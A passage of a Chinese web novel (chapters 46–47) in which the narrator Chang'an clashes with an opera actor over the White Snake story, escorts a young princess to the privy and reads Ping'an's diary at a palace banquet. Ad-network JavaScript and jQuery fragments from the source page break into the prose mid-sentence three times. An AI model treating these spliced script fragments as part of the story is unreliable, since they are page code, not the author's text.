平安脸涨得通红,耳朵脖子也红彤彤的,憋了半天说不出话来。我正懊悔,后悔惹她生气,打算跟她道歉,再想法子哄 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她开心一下。还未开口,平安就起身过来,拧着我的耳朵,提着我走到殿门口,推开门,对着我屁股就是一脚…… “你滚!”平安重重地把门关上。 我被踢出内殿,不敢走出屏风,台上并没开始演出,但是众人好像谈论到什么有趣的事情,都笑得前仰后合的样子。 我站在门外问:“平安,什么是污妖王?” “有女生在场,不方便解释,你去问柳花郎。” 女生?平安总是不自觉的带着她梦里那个世界的说话风格。 又听平安补充道:“气还没消,暂时不想和你说话。” 不说话就不说话!我撇撇嘴,鼓了鼓勇气,走出屏风,到齐王席位上坐好,堂邑夫和齐王坐一起,他们两个已经相谈甚欢,成为好友,邻座就是惠王。 台上的演出又开始了,白娘子不小心现了原形,我还以为有好戏看了,结果许仙却给吓死了,我很失望的样子,吃着茶点道:“原以为法海是破坏白娘子姻缘的,这才知道原来是法海早看透白娘子爱错了人,噢,法海是站白娘子这边的,是来帮白娘子的,许仙根本就不是真爱,真爱就是不管对方是人是妖,是美是丑,健康还是疾病,不管什么样子都不离不弃,至死不渝才对,怎么能只喜欢美好的皮囊呢?看见人家真身就忘了人家美貌,害怕得吓死了,我看这仙草白娘子自己留着吃吧,那死男人救过来了,也是负心汉……” 齐王堂邑夫惠王同时开口,才各自说了一个字,便被我不耐烦地蹙眉打断:“嘘!看戏!别说话!” 三个人讪讪地你看看我我看看你,把目光放回台上…… 台上的白娘子还是把许仙救活了,我一巴掌拍在几案上,翻了个白眼,然后狠狠瞪着刚刚“死而复生”的许仙。扮演许仙的艺人不期然对上我的视线,被我瞪得愣了一下,或者是被平安给我画的国宝妆影响到了,总之能看出来他有那么一瞬出戏了,不过毕竟是宫廷艺人,见过世面,立即调整,便不着痕迹地继续表演…… 一个小宫女端着三杯果子饮过来,我以为是给我的就顺手端了一杯欲要饮用,结果小宫女神色慌张的阻止道:“是平安姑娘请长安君帮忙制成沙,沙冰。” “沙沙冰是什么?”齐王不解的问,惠王也好奇的看着我。 “是这个。”说着我手掌覆盖杯口,轻轻一震,再抬手果子饮冒着白色的寒气,里面隐约看得见冰碴。 小宫女一脸震惊,起身端着果子饮正要退下,我侧头嘱托她道:“跟我妹妹说不要贪凉,日子就要到了,小心肚子疼。” 堂邑夫凑过来小声道:“我也要……冰茶。”他没有果子饮,只有茶水。 我还在生许仙的气,方才平安准备果子饮也没有我的份儿,我吃味的很,脸色不好,却一点也不拒绝堂邑夫,二话不说掌心朝下,覆盖在堂邑夫的茶杯上,转瞬给他弄了一杯冰茶,嘱托他凉茶伤身,让他少喝些。 不远处韩燕熙也端着杯子贱兮兮的看着我,我白了他一眼,语气不善:“我内力很宝贵的,想喝自己弄。” “我又不会化水成冰的心法。”韩燕熙失望的像个怨妇。 “那就忍着。”我不再理他,他要伺候太子殿下饮食,否则一定会来我们这边挤挤。 我忽然很喜欢法海,但扮演者是柳花郎,我就觉得膈应起来,便决定喜欢小青,每到她的戏份我就看得仔细,其他时候百无聊赖,不多时台上的戏就落下帷幕,柳花郎代表乐府众人领赏谢恩,回后台卸了妆造,就和我们坐一起,看我那样子一时间笑得不行,众人又跟着笑了一阵。 好一会儿功夫柳花郎才调整好,终于严肃起来,取来卸妆油帮我把妆卸了。他手法娴熟细腻,我问他什么是污妖王,他解释了一下,众人又是哄堂大笑,韩燕熙直呼比起大王霸,这个封号更适合我。 我埋怨柳花郎干嘛解释这么大声。柳花郎很委屈,听堂邑夫解释事情首尾,低声嘟囔了几句,应是见我被大家哄笑学会儿面色不善,便好汉不吃眼前亏,没顶风和我计较。 表演结束,宴席开始…… 我们几人把两张几案合在一起,坐在末席的角落,齐王用约定俗成的老规矩“不喝酒的坐一桌”这个理由,赶走要坐过来的韩燕熙。柳花郎多嘴附和道:“对,不要喝酒的才和小孩儿一桌。”我心里瞬间把对韩燕熙的不悦分给他一多半。 韩燕熙耍无赖,硬说他早不喝酒了,我十分鄙夷,冷声奚落道:“那也得我信啊。” 太子见他不受待见,便护短地向他招了招手,他才乖乖地坐了回去。 46. 护法 夜宴马上开始,趁着上菜的功夫,上位者们离席更衣,大殿里气氛松缓。我们这一小撮人说话便更加随意起来,柳花郎的《白蛇传》和平安的讲述有很多出入,我有很多不解的地方,尤其是白娘娘被镇压在雷峰塔就全剧终,并没有白蛇之子许仕林的故事,结局未免草率,便请柳花郎解惑,柳花郎说此剧他做了很多改动和删减,且并未剧终还有后续,还没来得及编写排演出来。 我问他是不是自己扮演法海,所以他版本的许仙格外讨厌,反而法海讨喜一些。柳花郎吃惊道:“没有啊,我这版的许仙是我们那儿最受欢迎的反串版,人设也是最完美的,怎么会让人讨厌。不对啊,不应该有人讨厌许仙才对,尤其是你,他是医者,你也是医者,他是读书人,你不是向来喜欢读书人,你讨厌他做什么?”柳花郎说着更是疑惑,便反问我。 “他就是讨厌,就是讨厌,读书人怎么了,迂腐虚伪,读书读得再多有什么,就学会了写诗情画意风花雪月,把自己装点的温润如玉风度翩翩,迷惑女人为他痴狂,真本事一点也没有,要不是白娘子,他的医馆大概也开不起来,也开不下去,可见医术并不高明,脑子也木讷,就会痴痴傻傻的,整日里娘子前娘子后,装纯情少年,讨老婆欢心,不知道的还以为多爱,谁道白娘子一现形,他就给吓死了,根本不是真爱,哼,仗义每多屠狗辈,负心多是读书人,一个负心汉,人设哪里完美了,起初那些个道士蜈蚣精怪,又是符咒又是假药,不都是他招惹的,最后更是喜人,引来了法海这么个冤家,那白蛇九死一生弄来仙草把他救活,他转头就跟着和尚要出家,白蛇怀着孕都要抢他回来,水漫金山寺,不慎淹死那么多百姓,压在雷峰塔下固然罪有应得,但归根到底就是许仙的错,是他心存猜忌,心志不坚,枉费白蛇一番痴情,哼……” 我一番话说下来,别人不见怎样,齐王频频擦汗,连连咳嗽,我只道他身子弱,赶紧给他端茶递水,拂胸擦汗,小心伺候。我特意嘱咐旦公公给他做的药膳,这会儿也端上来了,便服侍他喝下,一边小心翼翼地吹凉,一边喂给齐王喝,却依旧抽空就脸色不善的瞪柳花郎。 柳花郎抽抽嘴角,抓抓后脑勺,道:“哎呦,你不要那么激动嘛,你那么激动做什么?那许仙他是个人,是个普通人,爱了这么久,睡了那么久的妻子,貌美可人,聪明伶俐,知书达理,温柔似水,居然是个妖精,忽然有一天现了原形,是条小蛇也就算了,偏偏是条水缸粗的大蛇,别只说他是个男人,只要是个人都给吓死了,你突然来那么一下,你也受不了。他是个读书人,总有些聪明在身上,死而复生,就算被青蛇糊弄过去,与白蛇朝夕相处,也总会明白,心里犯嘀咕也是正常,人非圣贤孰能无过,行差踏错也情有可原。” “不可原,不可原,就是不可原。”我正给齐王擦嘴角汤水,闻言把帕子往几案上一扔,药膳也不喂了,只气鼓鼓的抱臂,缩着下巴,噘着嘴巴生闷气。 众人已经陆续入席,柳花郎怕我声音太大,便低声安抚,“好好好,小点声小点生,不可原不可原……不过你还真是奇怪,这部剧里的人物,都有人性的优缺点,所以人们切入点不同,各持己见,每次看又有新的体味,而津津乐道,我还以为你会带入许仙,谴责白娘子一开始为了亲近许仙使得那些障眼法,害他发配什么的,或者法海……怎么带入白娘子了,揪着许仙的错处不放,许仙和你也是同道中人,喜欢读书又悬壶济世……” “哦,你竟敢拿许仙映射我!”我瞪大了眼睛。 “我没有,你武功高强,又固执己见的,形式做派简直和法海如出一辙……” “你拿那个秃驴映射我……”我简直没什么不敢相信的,这小果然花花肠子多的很。 “没有!你不讲道理的样子和小青有的一拼……” “你映射我修行不够,道行练得不到家?居然还有人……你小子还敢瞧不上我的本事?我看你不是绝世仙骨,你是要敢为天下先的第一勇啊!”我眼睛简直浑圆。 柳花郎眼见越描越黑,在我发飙的临界点上,慌张解释:“不不不,哎呀,你先听我说,那戏台子上,有些东西是演不出来的,其中深意,还得看个人理解,人物个性,情节意义,哪有你想的那么肤浅!” “我……肤浅?……” “……我想闭嘴!哦不,我想吃饭,我饿了……” 我向来是不记仇的! 周围的人感觉空气瞬间冷了下来,不觉得打了个寒战,堂邑夫一把拦住像一个作势打仗的小刺猬的我,低声安抚。刘景已经入席坐定,黄门郭信高喊夜宴开始,礼乐奏起…… 韩燕熙目睹了整个过程,这会儿和太子殿下窃窃私语,眼神还不住我们这边看,似乎还在期待好戏继续。 轻歌曼舞的女子,总会让人心情舒缓。我也并不想韩燕熙继续看好戏,以我为娱。 柳花郎是真饿了,新麦子做的馒头格外香甜,我喜欢看人吃饭吃的津津有味,便忍不住给他布菜,让他多吃些,吃慢些,柔声道:“柳花郎,我师父说如果一个人能让你从此不再低三下四地活着,那么以后这个人说什么你都得听。” “你师父这话说的在理。”柳花郎十分赞同,点点头。 “那我对你来说,也算是这么一个存在了吧?” “……嗯。”柳花郎想了一下,点点头。 “那你干什么在为太后操办寿宴的百忙之中,还要不辞辛苦,写这么一出戏映射我,我都不知道我有那么多缺点,你攻击到我了,你击碎了我所有的骄傲,我现在自卑的不行,你快哄哄我吧。”我甚至带着期望,想着柳花郎会如何哄我。他可是很会哄人的,已经哄得平安叫他哥哥了。 柳花郎停下咀嚼,鼓着腮帮子,想了一会儿,我以为他就要哄我了,却只见他一脸难色,“……哄女人我还行,哄孩子,我不太会啊……” “……堂邑夫,揍他!”果然,没有期待,才不会失望。 我们离门口很近,堂邑夫二话不说就挟着柳花郎闪出大殿,不多时便听见远处隐约传来柳花郎的哀吼声,须臾二人神色如常的回到殿中入席,继续赏歌舞,品佳肴……我满意极了…… 舞歇歌罢,太子给刘景敬酒过后,亲王世子们也一一送上祝愿,众人有说有笑,侧殿的丝竹管弦之乐盈盈绕耳,气氛更加其乐融融。 内殿平安和公主她们泡起汤泉来,时不时传来嘻嘻欢笑声,我听见妹妹笑得开心自然也高兴,心情很是愉悦,不自觉地说道:“啧,姑娘们开心的笑声真好听,光是听听心情就很愉悦,难怪古代的君王都要弱水三千,我要是君王,我就用姑娘把池子塞满,让她们可劲儿笑,开怀笑,放肆笑。” 堂邑夫不以为然,一脸你看你那点出息的样子,“啧,君王的快乐你不懂,姑娘塞满池子有什么乐趣。” “哦,那你详细说说。”柳花郎挑挑眉,一脸独乐乐不如众乐乐,你既然懂,何不分享分享的希冀。 堂邑夫一脸你搁这装什么天真无知少年,给我挖坑啊,我偏不上套的神色,“我戒色了。” 我坏坏道:“哦,这么说那我就更来兴致了,详细聊聊呗,声情并茂的那种。” 堂邑夫不肯,以为我在试探他,坚决不从,涨红着脸推开央求他的我,“哼,那看这个样子,你准比谁都懂,你果然是个污妖王。” 忽听得内室笑声停了,只听平安关心道:“小公主肚子疼啊,那应该……是刚才吃冰的凉到肠胃了……要出恭?” “嗯,可是每次出恭都有好多人陪着,这次带来的人太少了,我害怕,想让长安哥哥陪着。”荣珺怯怯道。 闻言我眼睛都要瞪出来了,内心十分拒绝,还未做反应,就听平安已经答应了,“那好吧,我叫他来给你护法。” 从来没受到过如此暴击,我简直难以置信,我偏头看着同样一脸震惊的堂邑夫,“什,什么?我没听错吧,我只知道练功需要护法,出恭也需要吗?公主拉个屎这么大威力吗?拉的什么屎,什么屁股拉的屎?要……护法?”我气得不行,跟堂邑夫不住地念叨,“护法这么庄严的词,是这样随意拉低身价就用了的吗?” “长安。”内殿平安扯着嗓子喊。 “……哎。”我不耐烦的回了一声。 “长安。”平安又喊了一声,可语气显然已经有些不耐烦了。 才第二声而已,平安对郑清就耐心很多,哼! “哎!”我心不甘情不愿,等了一会儿,才压着平安第三声之前回应。 平安终于怒了,“我叫你就是为了听你两声哎是吧,你还不赶紧……啊,你在门口啊,啊呵呵……” 平安刚说了两个字,我就起身飞跑,一个快步加滑铲,在内殿门前立住。平安本来怒气冲冲,边说边打开门,却见我在门口低头站着,像个犯错的孩子正等着父母责备,很是可怜兮兮的样子,顿时语就软了几分,心虚的打呵呵。 “嗯,已经等很久了。”我低着头点点头,委屈极了,眼圈都红了,“可是被人误解真的让人好难过,尤其是你语气冷冰冰的,又不耐烦的很,真的好难过。” 平安于是就立马愧疚起来,弯腰趴在门上,抱歉道:“哎呦,不要难过嘛,我就说长安一向很乖的嘛,你刚才的回应,听着好像很远的样子,所以我才……哎呦,总之是我误会你啦,不该那样子语气跟你说话,可还不是因为你不早说。” “你又没早问。”我一字一顿,头更低了。 “好啦好啦,快进来,小公主要出恭,你陪着去。”平安从门缝里招了招手,见我不动,就跨出一只脚,伸手作势来拉我。 “可不可以……” “不可以!” “我努力做朝廷的鹰犬,不是要做这样的,”被平安拒绝,我简直要碎了,“陪公主拉屎这种事情,听起来就很羞耻,传到江湖上我就没脸见人了。”我都要哭了,其实已经哭了,只是努力停留在眼泪在眼眶里打转这个阶段,努力不让屈辱的泪水滑落而已。 “哎呦,你不是常说人不要脸天下无敌,小孩子哪有什么脸面要讲,快点进来,公主要憋不住了。”平安说着一把把我拉进门去,顺手将门关上。 荣珺立马上前抱住我,开心道:“长安我们一起去拉屎吧。”说完根本不在意我愿不愿意,拉着我手就冲去恭房,外面大概又有什么开心的事,众人笑得很大声,我只能站在大敞着门的恭房门口,感叹,“也不知道什么事大家这么开心,果然人的悲喜,并不相通。” “你为什么出恭要这么多人陪着?” “因为我怕鬼。” “鬼有什么好怕的。” “你不怕吗?” “不怕。” “你相信这世上有鬼?” “有没有鬼我也不知道,也说不上信不信,只是期望有而已。” “期望?你……你真的不怕鬼吗?” “不怕啊,而且我是真的希望这个世界上有鬼,人死后有灵魂这种事情。这样我就可以看见我死去的爹娘,还有亲人了。”我坐在恭房门口,托着下巴。 “……长安哥哥,你和别人不一样,别人都要我坚信这世上没有鬼,这样我就不用害怕了,可是我总能感觉到鬼,他们藏在阴暗处,我一个人的时候,他们就出来吓唬我,夜里没有光亮,也出来吓唬我,睡觉的时候,只要我身边没人,一闭眼,他们就出来……” “呵呵,是吗?那下次他们出来,你问问他们,有没有见过长安的父母和亲人们,若是打听到了,也不枉我给你护法了。” “……长安哥哥……” “害怕,就算了。”我轻轻叹了口气,道:“你害怕的鬼,是别人朝思暮想再也见不到的人啊。” 平安在内殿柔声道:“长安,大晚上的,别说这些了,看把大公主也吓得瑟瑟发抖呢,真要都来看望咱们,也吓人。好啦,大公主别想了,这种事情越想越害怕,长安就喜欢胡说八道,来喝杯热茶暖暖身子,你看你冷冰冰的呢。”说完又叫宫女拿一条毯子给荣玥大公主披上。 我撇撇嘴,耸耸肩,一脸无所谓的样子,但心里是真的忽然很想念我的父皇母后,要不是当年的变故,我也这样金尊玉贵,拉屎也有人护法…… 荣珺拉完臭臭也不放我出去外殿,平安就让我和她们一起泡汤泉,我坐在池子边。平安从她随身带的大包包里,拿出给我新做的肚兜,展开给我看,“长安呐,这是我给你新做的肚兜,你看看喜不喜欢。” “好……喜欢啊。”说违心的话,真的会很憋闷。 “那赶紧换上啊。”平安开心极了。 “太喜欢了,舍不得穿。”我把肚兜拿在手里,额角不停地流汗。 “哎,别不舍得,我还给你做了很多,你尽管穿啊,穿坏了还有很多很多,不怕。”平安在水里练习什么仰 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 泳,飘在水上,肤白貌美大长腿,美的简直不像话。荣玥和荣珺都看痴了。 “……这次这个是什么?”我收回视线,仔细打量肚兜上的绣样,感觉额角的汗更多了。 平安闻言收了动作,趴在池边兴奋地给我介绍,“是一直当了捕快的黑猫,你看眼睛瞪得像铜铃,不会放过一个坏人。” “黑猫怎么能当捕快呢,他能不能放过坏人我不知道,但是你能不能放过我?”我噘着嘴巴。 荣玥和荣珺围过来看,也很嫌弃的样子,惊讶这么有才华的平安,绣工居然这么差劲,这让平安感觉很没面子,只对我噘着嘴巴,娇嗔埋怨:“哎,你好像很勉强的样子。” “没有啊。”我嘴硬道。 平安觉得可能这个黑猫她确实绣的不好,起码不如舒克贝塔,所以我才这么抗拒,便打算退已步,“好啦,这个确实不那么成功,我啊我这两天在家里不出门,闲着也是闲着,就把我那些旧衣服都给你改成肚兜了,你现在有穿不完的肚兜,你说吧,你想要什么样子的肚兜,尽管跟我说……当然……我还是会根据自己的想法做给你穿的,因为差不多已经都画好图样了,不能前功尽弃。”平安说着说着就转了话锋,坚持最后的倔强。 “那我说了还有什么用,平安啊,其实……有的时候你也没必要那——么辛苦,我要我原来的好了。”我故作镇定,淡淡地道,其实有些心虚,怕平安因为我的拒绝白辛苦一场,好意不被理解而伤心生气。 “都说了,财不外露嘛,你之前所有的肚兜,全是奇珍异宝,太扎眼了,穿着也不舒服。”平安像一个教育顽劣孩子的母亲一般神色地教育我道:“而且不是说了嘛,小孩子皮肤太娇嫩,就要穿一些柔软的旧布料才好啊。” “对对对,妹妹小时候也穿过我的旧衣服,母妃到现在还留着,会经常拿出来给我们看呢。我现在也有好多旧衣服,回头拿给你给长安给成肚兜吧。”荣玥道。平安欣然接受,夸荣玥很善良。 “还有我的。”荣珺也抢着给我送旧衣服。 但是我赶在平安之前拒绝了,我低着头,道:“你的就算了吧,咱俩差不多高好吧。大公主的也不要,男女授受不亲,随意穿你衣服,还是贴身的,和有了肌肤之亲有什么区别,我长安可是个正经汉子。我妹妹……我妹妹的就算了,谁叫那是我亲妹妹呢……” 大概是听出我有哭腔,她们都围上来关心我。“长安你怎么了,怎么哭了?” 我抖着下巴,道:“是感动得,我妹妹对我好有爱,实在是……太好了。” 平安上岸褪去贴在身上累赘的湿浴袍,正要穿上一件干的浴袍,荣珺惊道:“平安姐姐,你的肚兜好好看啊。” “对吧,是我跟元欣郡主抢来的,她没抢过我。”平安笑着得意的炫耀,“说来也奇怪,那家店换了店长以后,我买东西就异常顺利呢,嗯……新来的店长眼光品味也真是合我胃口,这个肚兜真的很好看。” “可是你为什么……长安就不能有新肚兜吗?就算是旧的,就不能好看一些嘛?是……是不配吗?”荣珺很是为我打抱不平,却又不敢说太重的话,自从蓬莱夜宴她们被平安的惊才绝艳俘虏,后来一番交往了解之后,平安的才华简直让她们五体投地,所以都十分崇拜平安,说话也很是小心。 不等平安回答,我就坚定道:“当然不是,那都是我妹妹对我的爱。”我最是护短,可是忽然心里有些难受,低头道:“爱……是有啦,但感觉,好像,并不很多。” “是错觉。”平安要找回自己的面子,硬着头皮狡辩。 “哦。”我只能配合,点头答应。 “那你赶紧换上,替下来的我拿回家洗。”平安说着便帮我换上,然后把换下来往她大包包里装。她大包包里不知道装了什么,鼓鼓囊囊的。 “哎,这是什么?”忽然,荣玥发现平安不小心从包包里顺掉出来的手札,说着已经快步过去捡起来,习惯性的翻开要看。 “哦,这个不能看,这是我平时的随笔,哎呀,不要看。”平安赶紧去抢,荣玥却非要看,荣珺肯定是帮着姐姐的,而且她也想看看是什么东西平安这样宝贝。 几人拉扯起来,宫女们是不敢上前拦的,只能惶恐的照看着,别让她们磕碰摔倒。 我起身一跳,一把夺过来,对着两位公主问道:“公主口口声声要和我妹妹做朋友,那么问题来了,你是真的把我妹妹做朋友看,还是根本当做有趣好玩的奴婢?” 二人闻言回过味儿来,顿时脸红尴尬,不等二人回应,我接着道:“做朋友就要互相尊重,不给你看,你当然不能看,做奴婢……就无有不可,公主请随意。” 说着我将手札往前递了递,场面一下子尬住了。 “……哎呦长安,你话说的有点太直了……”平安打圆场。 那就是也十分赞同我的话在理喽。果然姐妹一条心。虽然表面上是把我祭出去,自己当老好人。 看了看尬住的公主,我也确实不好这么为难两个小丫头,顺着台阶下,却吊儿郎当道:“其实有什么好看的嘛,我上次不小心扫了一眼,偏我一目十行多看了些,唉,短短十行,仅仅十行,给我带来的创伤简直,一辈子也修复不了。” 平安受不了我胡说八道,脸红的不行,夺过我手里的手札,一一边展开,翻找检查是不是有什么,真如我说的那般不合适,一边道:“你胡说什么,我只是写了一点歌词一些感想,日记随笔而已,哪有什么能造成创伤那么严重。哪有?哪有?在哪呢?你指给我看,到底哪十行伤到你了,你找,你找……” 平安恼羞不已,说着上前把手扎硬塞给我,强行让我看。 “不看不看,我不看。”我自然是百般推拒,然后勉为其难地在平安的强迫下,接过手札,叫上一左一右两位公主,“来来来……” “啊,这句写得绝好,浮世万千,吾爱有三,日月与卿,日为朝,月为暮,卿为朝朝慕慕。”荣玥不自觉念了出来。 我也不禁赞道:“妹妹大材啊,哈哈。” “不是我写的。”被人当众读出作品,平安有些羞耻,极力否认,我是能理解的,并不多言,只继续往下看。 荣玥却转头看着站在我们身后的平安,不解的问:“这不就是你的字迹吗?写得这么好,就该和那些大诗人大文豪一样,和大家分享啊,做什么藏着掖着,还矢口否认?” 47. 玩谁 “因为真不是我写的。”平安娇羞地强调道。可我们只当平安是因为羞怯而坚决否认,接着继续看手札。平安对着我催道:“快点看,快点看,到底是哪十行,你找到没有?” “马上马上……当时扫那一眼也不是有心的,谁记得哪一页。”我心虚不已,故作镇定。 “我明明很善良,做什么事都为别人考虑,宁愿自己吃亏,也从不亏欠着别人,可是老天好像从未善待过我,一路走来,我没有了以前的骄傲,也失去了自己最开始的模样,讲过去像是在卖惨,讲未来又像是在做梦,讲现在却也无话可说,我心里的委屈,明明像山一样,压得我透不过气,想找人倾诉,却发现真到了嘴边,竟那么轻飘飘的不值一提,我瞒着所有人,假装迈过去很多坎,还显得很开心的样子,可是只有我知道,有些坎,我其实真的很难迈过去……”荣玥读着读着仿佛也伤心起来,很是同情的转头看着平安叫了一声,“平安……当时一定很难过才写出这样的话吧,是谁惹你这般伤心了?” “时间很久了,好多年了,我都忘记了,以前总是这样,其实好像也没什么特别的事发生,但就是很难过,感觉人生到处都是迈不过去的坎,自己没做错什么事,却仍然要承受命运的不公,就喜欢怨天尤人了些,大抵是我又无病呻,吟的时候随手写的。”平安轻轻地说完,又看着我认真解释道:“这些啊,都是咱们太液池游船回来,你和我彻夜谈心开解我之前写的,最近我阳光开朗的很,都没有这样文字了。”平安忽然又有些局促,慌忙道:“哎呦,其实这也不是我写的,只是觉得能体现当时的心情……” 我自然替她解围:“哎呦你不要慌嘛,你放轻松些,你不要因为我和你聊的那些话,就排斥一切感觉不好的情绪强迫自己一定要阳光一定要开朗,我是希望你像花儿一样娇艳热烈没错,可假装快乐,那样也会很辛苦的,那可不是我对你的心愿。人生在世,谁没个沮丧的时候,低落的心情又不是什么难以饶恕的过错,也是正常的情绪,有什么好羞愧的,我只是没想到你文采这么好。” 平安感动,脸却更红了,“什么文采啊,都说了,不是我写的,你再这样子,不给你看了。” 我们自然是不肯轻易还给她,荣玥简直入迷,对小札上的文字喜欢的不得了,痴痴地轻声道:“这段文字好美啊,入目无他人,四下皆是你……你是我触碰不到的风,醒不来的梦,寻不到的天堂,医不好的痛,点不着的烟火,松不开的手,忘不掉的某某某……” “嗯?郑清那个臭小子,让你这么难追的啊?那个臭小子……”我顿时气恼的不行,横眉冷眼,像个马上就要爆炸的爆竹。 平安马上安抚我,“唉没有没有,清哥哥很好的,以前是木讷了一些,但也向来事事听我的,他最近不是开窍了好很多了吗,对我更是体贴入微。那个是歌词,写的不是他,也不是我写的,还是,还是不要再念出来了,否则,真的不给看了。”平安羞红了脸,侧头将脸埋在臂弯里。 我理解她的窘迫,毕竟这种场景念这种文字,和在大庭广众下被扒光也差不多了。 “知道了。”我点点头,接着道:“虽然我刚才也有那样说情绪不分好坏,但是,这种东西还是要少写吧,文字的力量是很强大的,痛彻心扉的情绪可以用文字纾解,悲伤凄凉的文字也会反噬,这种东西写多了看多了真的很影响心境,你看,连我和公主只是读了,都仿佛被感染到那份切肤之痛。之前和你团聚,就觉得你身上总是忧伤抑郁,一点不像青春正好的年纪。你还是要多出来走走,多交些朋友,多晒晒太阳,别总围着一个人转,让他的喜怒哀乐,牢牢拿捏着你,别人的‘四下皆是你’,是真的‘入目无他人’,而你的‘入目无他人’,却是因为身边真的就只有一个他。”我一边翻阅,一边伤感妹妹这些年的不容易,一边淡淡的嘱托,一边继续翻看,企图朝着她的内心走的更近一些。 荣珺听说是歌词,就央求平安唱一下,平安的歌喉真是天下无双,一下子就将两位公主唱迷了。 两位公主还沉浸其中,平安拉了拉我,使了一个眼色,我会意快速地翻了几页,翻到一篇《生僻字》,平安按在我肩膀的手稍稍用力,我便停下,这篇文字的作者平安写的是佚名。我正要发问,做什么给自己起这样的笔名,荣珺就指着‘佚’字问道:“这个字念什么?” 我大吃一惊地样子,张大嘴巴道:“啊?不识字啊?公主居然这个字不认识啊。那,大公主,你也……”我转头对着荣玥迟疑地问。 荣玥不自然地抽了抽嘴角,却又扬了扬高傲的下巴,颇有些装腔作势道:“这个字啊,这个字念铁。” “啊?这个字念铁啊?我读书少你不要骗我。”我眼睛瞪得像铜铃。平安努力看了看,想确认是不是她笔误了。 “铁,念铁,铁名!这个字我很认识。”荣玥听说我读书少,眉头若有似无得舒展,更加坚决地狡辩。 荣珺觉得姐姐很厉害,崇拜的不行,又问道:“那这个这个还有这个这个念什么?” “啊?这一连串都不认识啊?”我坏坏地憋笑继续假装惊讶,十分夸张地问荣珺,然后又转头看着荣玥,笑的人畜无害,用下巴指了指手札,示意她赶紧教妹妹。 荣玥按下局促清清嗓子,然后硬着头皮道:“这个很简单啊,念,鬼鬼鬼鬼。就是你最害怕的鬼。” 荣珺单纯疑惑的看着手札,蹙眉歪头,噘着嘴疑惑道:“这就是鬼啊,可是这四个字长得不太一样啊。” “哎呀,张牙舞爪的样子,就是鬼字没错了。”荣玥努力辩解,掩饰心虚。 “公主果然聪慧啊。”我笑着抖动着肩膀,诚恳大赞。 “啊?对啦?”荣玥不自信的问,自觉失言,又故作镇定,恢复高傲,还端起范儿来。 我只觉得她可爱,“对,对啊!怎么能不对呢,公主大材简直堪比翰林院学士,真乃当世大儒啊,哈哈……”我一番马屁拍的荣玥很是受用,又接着指了几个字,“那这个字,还有这个字。”荣玥依旧对答如流,我简直佩服不已,“哇呜,公主简直仓颉再世啊。” 平安忽然觉醒一般,转到我们前面,一把夺过手札,气愤道:“根本没有什么让你创伤难愈的十行文字,长安,我是不是有被你算计到。” 我一副你才知道的样子,把一左一右两位没搞清状况的公主往前一推,挡在身前,道:“哇呜,你看公主这么‘博学’,这种情况早知道就给大大方方的看嘛,又看不……”我见平安脸色很是不善,有些生气,“哎呦你是在,恶狠狠地,瞪我哈,要翻脸啊?公主是把你当朋友,但你自己没点数吗,真不把自己当奴婢啊,才离开王府几天啊,就没了做奴婢的觉悟?怎么,现在是良家子啦,忘了当初是什么了,竟要在公主这里找尊严?呵,那也不是不可以啊,你从这屋出去到大殿上,随便找一个亲王嫁了你就是她俩嫂子,你要是嫁给陛下她们就得管你叫娘!” “长安!你,你……你给我滚出罚站。”平安气得发抖,力气却十分的大,拎着我的衣领往外一扔,跟着一脚把我踹出门外。 我屁股朝前一撅,快步走了几步,身子歪扭了两下才定住,却像一个生气炸毛的小狼崽子,低着头,攥着拳头,浑身使着劲儿,喘着粗气,满脸不服。 大殿上仿佛有片刻安静,等我回过神来,只闻得丝竹管弦,只见得觥筹交错。须臾惠王上前来领我,对我道:“你刚才那番话,确实……” “生气的时候是会说些违心的话的,我知道错了。”我身子渐渐放松下来,声音也软软糯糯的。 惠王牵着我回席上坐好,我无心吃食,只特别留心内殿的事,可又听不真切,大约是荣玥在安慰平安,没听到平安哭或者啜泣,但眼前却总是复现她默默拭泪的样子,我自责,身上一点力气也没有,倚着堂邑夫,看着大殿窗外的汤泉池水摇曳倒影的灯光失神,忽然听得荣珺道:“平安,我好喜欢长安,你再把他叫进来吧,我要跟他一起玩。” “嗯,好,我叫她进来。”听语气平安已经没那么生气了,我坐直身子,竖起耳朵,窸窸窣窣的,一定是平安起身开门寻我来了。我赶紧一个助跑加滑铲,谁知这一次力气使大了没停好,一下摔个大马趴,正好平安开门,从门缝里低头看着地上的我,道:“干什么行这么大礼,早……早就原谅你了。快起来,进来吧,小公主要跟你玩。” 原谅我了?太好了!“那可不可以……”我趴在地上并不打算起来,一边做最后的挣扎艰难地朝席位上往回爬,一边不求答案的绝望问道:“可不可以……”不去进…… “不可以。”平安语气冷静又理智,跨出门外 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一步,抓住企图逃跑的我的一只脚,将我拖了进去。 我指甲在地上抓的吱吱作响,不想轻易放弃,“好伤心啊,平安,下次拖我的时候,能不能翻个面,脸朝地很痛的。”进了内殿,我不情愿的起身站好,眼睛转了转,计上心头,大喜不已,脸色却低沉,对着荣珺道:“玩玩玩,就知道玩,玩什么,有什么好玩的,谁玩谁?啊,有虫子啊……” 果然女人们都炸了,根本顾不上因为我语气不善,言辞恶劣而发脾气对我指摘,全都惊叫起来,“啊……在哪里啊啊啊啊啊啊……” “这么大,在头发上……” “啊……啊啊啊啊啊……” 看着她们更加惊恐尖叫,我简直畅快,啊哈哈哈哈。 果然,平安又怒了,怒极了,更加狠狠地一脚把我踢出来。“你给我滚出罚站,罚站。”我站着,靠在门板上,顺着门板翻转,滚动,试图一点点远离。 大殿上男人们谈笑风生…… 我已经顺着门顺着墙滚出一些距离了,再滚一会儿,就可以滚到末席上了,哈哈,胜利的曙光就在眼前,却听见荣珺道:“长安坏死了,可是我好喜欢他,我还是想原谅他,还是想跟他玩,平安姐姐,你叫他进……” 我一下顿住,握紧拳头,梗了梗脖子,锁着眉头,咬着牙,快步走回内殿门口,吸了一口气,忽然大叫起来:“公主的屁股这么大,一个马桶坐不下……” 空气瞬间凝固,丝竹管弦凝滞,世界安静的不像样子…… “啊啊啊,我不要和他玩了,他坏死了,让他滚,滚。”荣珺觉得自己再也没法见人了,哭闹不止。 